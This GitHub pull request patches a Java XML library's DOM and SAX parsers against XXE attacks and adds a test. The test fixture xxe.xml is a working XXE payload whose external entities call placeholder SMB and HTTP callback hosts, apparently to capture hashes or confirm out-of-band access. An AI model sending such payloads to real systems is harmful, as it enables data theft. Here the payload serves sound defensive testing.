Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Configure parser factories to prevent XXE attacks #10

Merged
merged 1 commit into from
Oct 5, 2018
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 9 additions & 0 deletions xml/src/main/java/org/seamless/xml/DOMParser.java
Original file line number Diff line number Diff line change
Expand Up @@ -136,6 +136,15 @@ public DocumentBuilderFactory createFactory(boolean validating) throws ParserExc
factory.setFeature("http://apache.org/xml/features/xinclude/fixup-base-uris", false);
factory.setFeature("http://apache.org/xml/features/xinclude/fixup-language", false);

// Configure parser to prevent XXE attacks
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);


// Good idea to set a schema when you want to validate! Tell me, how does it work
// without a schema?!
factory.setSchema(getSchema());
Expand Down
21 changes: 14 additions & 7 deletions xml/src/main/java/org/seamless/xml/SAXParser.java
Original file line number Diff line number Diff line change
Expand Up @@ -65,16 +65,23 @@ public void setContentHandler(ContentHandler handler) {

protected XMLReader create() {
try {
SAXParserFactory factory = SAXParserFactory.newInstance();

// Configure factory to prevent XXE attacks
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setXIncludeAware(false);

factory.setNamespaceAware(true);

if (getSchemaSources() != null) {
// Jump through all the hoops and create a validating reader
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setNamespaceAware(true);
factory.setSchema(createSchema(getSchemaSources()));
XMLReader xmlReader = factory.newSAXParser().getXMLReader();
xmlReader.setErrorHandler(getErrorHandler());
return xmlReader;
}
return XMLReaderFactory.createXMLReader();

XMLReader xmlReader = factory.newSAXParser().getXMLReader();
xmlReader.setErrorHandler(getErrorHandler());
return xmlReader;
} catch (Exception ex) {
throw new RuntimeException(ex);
}
Expand Down
50 changes: 50 additions & 0 deletions xml/src/test/java/org/seamless/test/xml/SAXParserTest.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
/*
* Copyright (C) 2018 Matthew Piggott
*
* The contents of this file are subject to the terms of either the GNU
* Lesser General Public License Version 2 or later ("LGPL") or the
* Common Development and Distribution License Version 1 or later
* ("CDDL") (collectively, the "License"). You may not use this file
* except in compliance with the License. See LICENSE.txt for more
* information.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*/
package org.seamless.test.xml;

import static org.testng.Assert.assertTrue;
import static org.testng.Assert.fail;

import java.io.IOException;
import java.io.InputStream;

import org.seamless.xml.ParserException;
import org.seamless.xml.SAXParser;
import org.testng.annotations.Test;
import org.xml.sax.InputSource;

/**
* @author Matthew Piggott
*/
public class SAXParserTest {

@Test
public void testXxe() throws IOException {
SAXParser parser = new SAXParser();

InputStream in = null;
try {
in = getClass().getResourceAsStream("/org/seamless/test/xml/xxe.xml");
parser.parse(new InputSource(in));
fail("Expected exception thrown");
} catch (ParserException e) {
assertTrue(e.getMessage().contains("DOCTYPE is disallowed"));
} finally {
if (in != null) {
in.close();
}
}
}
}
7 changes: 7 additions & 0 deletions xml/src/test/resources/org/seamless/test/xml/xxe.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file://///$smbServer/smb/hash.jpg" >
<!ENTITY xxe-url SYSTEM "http://$localIp:$localPort/ssdp/xxe.html" >
]>
<hello>&xxe;&xxe-url;</hello>